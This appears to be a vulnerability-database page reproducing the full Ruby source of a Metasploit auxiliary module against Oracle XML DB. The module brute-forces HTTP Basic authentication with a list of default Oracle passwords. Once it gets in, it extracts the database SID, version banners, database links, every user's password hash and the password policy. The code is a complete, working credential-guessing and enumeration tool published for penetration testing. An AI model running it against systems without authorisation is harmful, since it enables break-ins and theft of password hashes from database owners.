Lucene search
K

Oracle XML DB SID Discovery Via Brute Force

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 186 Views

Oracle XML DB SID Discovery Via Brute Force This module attempts to retrieve the sid from the Oracle XML DB httpd server, utilizing Pete Finnigan's default oracle password list

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Oracle XML DB SID Discovery via Brute Force',  
'Description' => %q{  
This module attempts to retrieve the sid from the Oracle XML DB httpd server,  
utilizing Pete Finnigan's default oracle password list.  
},  
'References' =>  
[  
[ 'URL', 'http://dsecrg.com/files/pub/pdf/Different_ways_to_guess_Oracle_database_SID_(eng).pdf' ],  
[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv'],  
],  
'Author' => [ 'nebulus' ],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),  
Opt::RPORT(8080),  
])  
end  
  
def run_host(ip)  
begin  
  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',  
'version' => '1.0',  
'method' => 'GET'  
}, 5)  
return if not res  
  
if(res.code == 200)  
vprint_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code}) is not password protected.")  
return  
elsif(res.code == 403 || res.code == 401)  
print_status("http://#{ip}:#{datastore['RPORT']}/oradb/PUBLIC/GLOBAL_NAME (#{res.code})")  
end  
  
list = datastore['CSVFILE']  
users = []  
  
fd = CSV.foreach(list) do |brute|  
  
dbuser = brute[2].downcase  
dbpass = brute[3].downcase  
user_pass = "#{dbuser}:#{dbpass}"  
  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/GLOBAL_NAME',  
'version' => '1.0',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, 10)  
  
if( not res )  
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")  
next  
end  
if (res.code == 200)  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
sid = res.body.scan(/<GLOBAL_NAME>(\S+)<\/GLOBAL_NAME>/)[0]  
report_note(  
:host => ip,  
:proto => 'tcp',  
:port => datastore['RPORT'],  
:type => 'SERVICE_NAME',  
:data => sid,  
:update => :unique_data  
)  
print_good("Discovered SID: '#{sid[0]}' for host #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}")  
users.push(user_pass)  
else  
vprint_error("Unable to retrieve SID for #{ip}:#{datastore['RPORT']} with #{dbuser} / #{dbpass}...")  
end  
end #fd.each  
  
good = false  
users.each do |user_pass|  
(u,p) = user_pass.split(':')  
  
# get versions  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/PRODUCT_COMPONENT_VERSION',  
'version' => '1.1',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, -1)  
  
if(res)  
if(res.code == 200)  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
  
doc = REXML::Document.new(res.body)  
  
print_good("Version Information ==> as #{u}")  
doc.elements.each('PRODUCT_COMPONENT_VERSION/ROW') do |e|  
p = e.elements['PRODUCT'].get_text  
v = e.elements['VERSION'].get_text  
s = e.elements['STATUS'].get_text  
report_note(  
:host => datastore['RHOST'],  
:sname => 'xdb',  
:proto => 'tcp',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Component Version: #{p}#{v}",  
:update => :unique_data  
)  
print_good("\t#{p}\t\t#{v}\t(#{s})")  
  
end  
end  
end  
  
# More version information  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/ALL_REGISTRY_BANNERS',  
'version' => '1.1',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, -1)  
  
if(res)  
if(res.code == 200)  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
  
doc = REXML::Document.new(res.body)  
  
doc.elements.each('ALL_REGISTRY_BANNERS/ROW') do |e|  
next if e.elements['BANNER'] == nil  
b = e.elements['BANNER'].get_text  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Component Version: #{b}",  
:update => :unique_data  
)  
print_good("\t#{b}")  
end  
end  
end  
  
# database links  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/ALL_DB_LINKS',  
'version' => '1.1',  
'method' => 'GET',  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, -1)  
  
if(res)  
if(res.code == 200)  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
  
doc = REXML::Document.new(res.body)  
  
print_good("Database Link Information ==> as #{u}")  
doc.elements.each('ALL_DB_LINKS/ROW') do |e|  
next if(e.elements['HOST'] == nil or e.elements['USERNAME'] == nil or e.elements['DB_LINK'] == nil)  
h = e.elements['HOST'].get_text  
d = e.elements['DB_LINK'].get_text  
us = e.elements['USERNAME'].get_text  
  
sid = h.to_s.scan(/\(SID\s\=\s(\S+)\)\)\)/)[0]  
if(h.to_s.match(/^\(DESCRIPTION/) )  
h = h.to_s.scan(/\(HOST\s\=\s(\S+)\)\(/)[0]  
end  
  
if(sid and sid != "")  
print_good("\tLink: #{d}\t#{us}\@#{h[0]}/#{sid[0]}")  
report_note(  
:host => h[0],  
:proto => 'tcp',  
:port => datastore['RPORT'],  
:sname => 'xdb',  
:type => 'oracle_sid',  
:data => sid,  
:update => :unique_data  
)  
else  
print_good("\tLink: #{d}\t#{us}\@#{h}")  
end  
end  
end  
end  
  
  
# get users  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/DBA_USERS',  
'version' => '1.1',  
'method' => 'GET',  
'read_max_data' => (1024*1024*10),  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, -1)  
  
if res and res.code == 200  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
  
doc = REXML::Document.new(res.body)  
print_good("Username/Hashes on #{ip}:#{datastore['RPORT']} ==> as #{u}")  
  
doc.elements.each('DBA_USERS/ROW') do |user|  
  
us = user.elements['USERNAME'].get_text  
h = user.elements['PASSWORD'].get_text  
as = user.elements['ACCOUNT_STATUS'].get_text  
print_good("\t#{us}:#{h}:#{as}")  
good = true  
if(as.to_s == "OPEN")  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Active Account #{u}:#{h}:#{as}",  
:update => :unique_data  
)  
else  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Disabled Account #{u}:#{h}:#{as}",  
:update => :unique_data  
)  
end  
end  
end  
  
# get password information  
res = send_request_raw({  
'uri' => '/oradb/PUBLIC/USER_PASSWORD_LIMITS',  
'version' => '1.1',  
'method' => 'GET',  
'read_max_data' => (1024*1024*10),  
'headers' =>  
{  
'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"  
}  
}, -1)  
  
if res and res.code == 200  
if (not res.body.length > 0)  
# sometimes weird bug where body doesn't have value yet  
res.body = res.bufq  
end  
  
doc = REXML::Document.new(res.body)  
  
print_good("Password Policy ==> as #{u}")  
fla=plit=pgt=prt=prm=plot=''  
doc.elements.each('USER_PASSWORD_LIMITS/ROW') do |e|  
next if e.elements['RESOURCE_NAME'] == nil  
  
case  
when(e.elements['RESOURCE_NAME'].get_text == 'FAILED_LOGIN_ATTEMPTS')  
fla = e.elements['LIMIT'].get_text  
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LIFE_TIME')  
plit = e.elements['LIMIT'].get_text  
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_TIME')  
prt = e.elements['LIMIT'].get_text  
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_REUSE_MAX')  
prm = e.elements['LIMIT'].get_text  
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_LOCK_TIME')  
plot = e.elements['LIMIT'].get_text  
when(e.elements['RESOURCE_NAME'].get_text == 'PASSWORD_GRACE_TIME')  
pgt = e.elements['LIMIT'].get_text  
end  
end  
  
print_good(  
"\tFailed Login Attempts: #{fla}\n\t" +  
"Password Life Time: #{plit}\n\t" +  
"Password Reuse Time: #{prt}\n\t" +  
"Password Reuse Max: #{prm}\n\t" +  
"Password Lock Time: #{plot}\n\t" +  
"Password Grace Time: #{pgt}"  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Password Maximum Reuse Time: #{prm}",  
:update => :unique_data  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Password Reuse Time: #{prt}",  
:update => :unique_data  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Password Life Time: #{plit}",  
:update => :unique_data  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Account Fail Logins Permitted: #{fla}",  
:update => :unique_data  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Account Lockout Time: #{plot}",  
:update => :unique_data  
)  
report_note(  
:host => datastore['RHOST'],  
:proto => 'tcp',  
:sname => 'xdb',  
:port => datastore['RPORT'],  
:type => 'ORA_ENUM',  
:data => "Account Password Grace Time: #{pgt}",  
:update => :unique_data  
)  
end  
  
break if good  
end # users.each  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
186